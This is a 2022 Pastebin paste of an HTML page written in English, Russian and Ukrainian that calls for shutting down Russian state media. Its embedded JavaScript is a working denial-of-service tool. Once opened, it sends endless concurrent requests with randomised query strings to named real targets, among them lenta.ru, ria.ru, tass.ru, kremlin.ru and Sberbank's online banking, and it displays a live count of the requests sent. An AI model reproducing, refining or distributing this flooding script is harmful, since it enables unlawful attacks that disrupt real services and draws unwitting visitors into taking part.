Advertisement
Guest User

Untitled

a guest
Feb 25th, 2022
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.38 KB | None | 0 0
  1.  
  2. <head>
  3. <title>russia MUST BE STOPPED!</title>
  4. </head>
  5. <body>
  6. <h1>russia MUST BE STOPPED!</h1>
  7. <h3>English version</h3>
  8. <p>The "official" news in russian federation are all fake and we believe it is better to shut them down!</p>
  9. <p>Please, just open this page and let it be open on your devices, it will flood the web-sites and pose a huge load on their infrastructure</p>
  10. <h3>Русская версия</h3>
  11. <p>"Официальные" новости в рф - это театр абсурда и мы считаем, что это нужно остановить!</p>
  12. <p>Пожалуйста, просто откройте эту страницу на своём компьютере и оставтье вкладку открытой, она будет автоматически нагружать сайты российской пропаганды.</p>
  13. <h3>Українська версія</h3>
  14. <p>Офіційні новини в рф - це театр абсурду і ми вважаємо, що це треба зупинити!</p>
  15. <p>Будь ласка, просто залиште відкритою цю сторінку на своєму комп'ютері щоб вона автоматично навантажувала сайти російської пропаганди.</p>
  16. <h3>Here is the stats of your session (the links and the number of the requests that were sent from your browser):</h3>
  17. <div id="stats"></div>
  18. <div id="errors"></div>
  19. <p>If you missed it, <a href="https://www.bbc.com/news/world-europe-60503037">BBC NEWS: Ukraine conflict: Russian forces attack from three sides</a></p>
  20. </body>
  21. <script>
  22. var targets = {
  23. 'https://lenta.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  24. 'https://ria.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  25. 'https://ria.ru/lenta/': { number_of_requests: 0, number_of_errored_responses: 0 },
  26. 'https://www.rbc.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  27. 'https://www.rt.com/': { number_of_requests: 0, number_of_errored_responses: 0 },
  28. 'http://kremlin.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  29. 'http://en.kremlin.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  30. 'https://smotrim.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  31. 'https://tass.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  32. 'https://tvzvezda.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  33. 'https://vsoloviev.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  34. 'https://www.1tv.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  35. 'https://www.vesti.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  36. 'https://online.sberbank.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  37. 'https://sberbank.ru/': { number_of_requests: 0, number_of_errored_responses: 0 },
  38. }
  39.  
  40. var statsEl = document.getElementById('stats');
  41. function printStats() {
  42. statsEl.innerHTML = '<pre>' + JSON.stringify(targets, null, 2) + '</pre>'
  43. }
  44. setInterval(printStats, 1000);
  45.  
  46. var CONCURRENCY_LIMIT = 1000
  47. var queue = []
  48.  
  49. async function fetchWithTimeout(resource, options) {
  50. const controller = new AbortController();
  51. const id = setTimeout(() => controller.abort(), options.timeout);
  52. return fetch(resource, {
  53. signal: controller.signal
  54. }).then((response) => {
  55. clearTimeout(id);
  56. return response;
  57. }).catch((error) => {
  58. clearTimeout(id);
  59. throw error;
  60. });
  61. }
  62.  
  63. async function flood(target) {
  64. for (var i = 0;; ++i) {
  65. if (queue.length > CONCURRENCY_LIMIT) {
  66. await queue.shift()
  67. }
  68. rand = i % 13 === 0 ? '' : ('?' + Math.floor(Math.random() * 1000))
  69. queue.push(
  70. fetchWithTimeout(target+rand, { timeout: 1000 })
  71. .catch((error) => {
  72. if (error.code === 20 /* ABORT */) {
  73. return;
  74. }
  75. targets[target].number_of_errored_responses++;
  76. targets[target].error_message = error.message
  77. })
  78. .then((response) => {
  79. if (response && !response.ok) {
  80. targets[target].number_of_errored_responses++;
  81. targets[target].error_message = response.statusText
  82. }
  83. targets[target].number_of_requests++;
  84. })
  85.  
  86. )
  87. }
  88. }
  89.  
  90. // Start
  91. Object.keys(targets).map(flood)
  92. </script>
  93.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement